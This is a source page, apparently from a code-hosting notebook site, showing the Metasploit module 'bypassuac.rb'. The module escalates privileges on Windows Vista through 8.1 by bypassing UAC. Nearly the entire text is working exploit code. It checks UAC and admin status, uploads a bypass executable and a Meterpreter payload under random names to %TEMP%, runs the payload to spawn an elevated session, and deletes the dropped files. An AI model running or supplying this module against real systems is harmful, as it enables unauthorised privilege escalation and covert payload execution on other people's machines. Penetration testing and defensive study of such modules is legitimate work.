Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/local/bypassuac.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Exploit::EXE9include Post::File10include Post::Windows::Priv11include Post::Windows::Runas1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Windows Escalate UAC Protection Bypass',18'Description' => %q{19This module will bypass Windows UAC by utilizing the trusted publisher20certificate through process injection. It will spawn a second shell that21has the UAC flag turned off.22},23'License' => MSF_LICENSE,24'Author' => [25'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>',26'mitnick',27'mubix' # Port to local exploit28],29'Platform' => [ 'win' ],30'SessionTypes' => [ 'meterpreter' ],31'Targets' => [32[ 'Windows x86', { 'Arch' => ARCH_X86 } ],33[ 'Windows x64', { 'Arch' => ARCH_X64 } ]34],35'DefaultTarget' => 0,36'References' => [37[ 'URL', 'http://www.trustedsec.com/december-2010/bypass-windows-uac/' ]38],39'DisclosureDate' => '2010-12-31',40'Compat' => {41'Meterpreter' => {42'Commands' => %w[43stdapi_sys_process_kill44]45}46}47)48)4950register_options([51OptEnum.new('TECHNIQUE', [52true, 'Technique to use if UAC is turned off',53'EXE', %w[PSH EXE]54]),55])56end5758def check_permissions!59# Check if you are an admin60vprint_status('Checking admin status...')61admin_group = is_in_admin_group?6263if admin_group.nil?64print_error('Either whoami is not there or failed to execute')65print_error('Continuing under assumption you already checked...')66elsif admin_group67print_good('Part of Administrators group! Continuing...')68else69fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')70end7172if get_integrity_level == INTEGRITY_LEVEL_SID[:low]73fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')74end75end7677def exploit78validate_environment!7980case get_uac_level81when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT82fail_with(Failure::NotVulnerable,83"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")84when UAC_DEFAULT85print_good 'UAC is set to Default'86print_good 'BypassUAC can bypass this setting, continuing...'87when UAC_NO_PROMPT88print_warning "UAC set to DoNotPrompt - using ShellExecute 'runas' method instead"89runas_method90return91end9293check_permissions!9495upload_binaries!9697cmd = "#{path_bypass} /c #{path_payload}"98# execute the payload99pid = cmd_exec_get_pid(cmd)100101::Timeout.timeout(30) do102select(nil, nil, nil, 1) until session_created?103end104session.sys.process.kill(pid)105# delete the uac bypass payload106file_rm(path_bypass)107file_rm("#{expand_path('%TEMP%')}\\tior.exe")108cmd_exec('cmd.exe', "/c del \"#{expand_path('%TEMP%')}\\w7e*.tmp\"")109end110111def path_bypass112@path_bypass ||= "#{expand_path('%TEMP%')}\\#{Rex::Text.rand_text_alpha(rand(6..13))}.exe"113end114115def path_payload116@path_payload ||= "#{expand_path('%TEMP%')}\\#{Rex::Text.rand_text_alpha(rand(6..13))}.exe"117end118119def upload_binaries!120print_status('Uploaded the agent to the filesystem....')121#122# Generate payload and random names for upload123#124payload = generate_payload_exe125126# path to the bypassuac binary127path = ::File.join(Msf::Config.data_directory, 'post')128129bpexe = ::File.join(path, "bypassuac-#{sysinfo['Architecture'] == ARCH_X86 ? 'x86' : 'x64'}.exe")130131print_status('Uploading the bypass UAC executable to the filesystem...')132133begin134#135# Upload UAC bypass to the filesystem136#137upload_file(path_bypass.to_s, bpexe)138print_status("Meterpreter stager executable #{payload.length} bytes long being uploaded..")139140write_file(path_payload, payload)141rescue ::Exception => e142print_error("Error uploading file #{path_bypass}: #{e.class} #{e}")143return144end145end146147def runas_method148case datastore['TECHNIQUE']149when 'PSH'150# execute PSH151shell_execute_psh152when 'EXE'153# execute EXE154shell_execute_exe155end156end157158def validate_environment!159fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?160#161# Verify use against Vista+162#163version = get_version_info164unless version.build_number.between?(Msf::WindowsVersion::Vista_SP0, Msf::WindowsVersion::Win81)165fail_with(Failure::NotVulnerable, "#{version.product_name} is not vulnerable.")166end167168if is_uac_enabled?169print_status 'UAC is Enabled, checking level...'170elsif is_in_admin_group?171fail_with(Failure::Unknown, 'UAC is disabled and we are in the admin group so something has gone wrong...')172else173fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')174end175end176end177178179